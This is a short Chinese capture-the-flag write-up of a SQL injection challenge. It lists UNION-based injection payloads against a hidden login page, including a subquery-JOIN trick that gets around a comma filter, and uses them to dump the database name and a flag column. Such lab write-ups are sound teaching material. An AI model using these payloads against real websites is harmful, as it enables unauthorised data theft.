过程
题目内容:后台有获取flag的线索
有一个重定向的包,查看里面的信息,可以获取到正确的注入路径(题目页面源代码那个路径是不对的,是个错误的引导)
进入页面
payload:l0gin.php?id=1
进行SQL注入
payload:l0gin.php?id=0 UNION SELECT 1,2
发现是逗号截断,使用mysql的子查询进行绕过SELECT * FROM (a语句) a JOIN (b语句) b
palylod:l0gin.php?id=0' UNION SELECT * FROM (SELECT version()) a JOIN (SELECT database()) b %23
发现得到数据库是sqli
mysql是高版本
数据库的表是名是users
获取到表的字段id,username,flag_9c861b688330
playload:0' UNION SELECT * FROM (SELECT GROUP_CONCAT(flag_9c861b688330) FROM sqli.users) a JOIN (SELECT database()) b %23
获取到flag
总结
- 后面的注释要用%23,不要用#。下面可以看见注释用的#号没了
- 使用了逗号截断可以用
SELECT * FROM (a语句) a JOIN (b语句) b
进行注入 - 注入的时候要注入闭合
- 联合查询的前面使用的数字不能是可以有数据的数字,不如无法查询union后面的句子
Comments NOTHING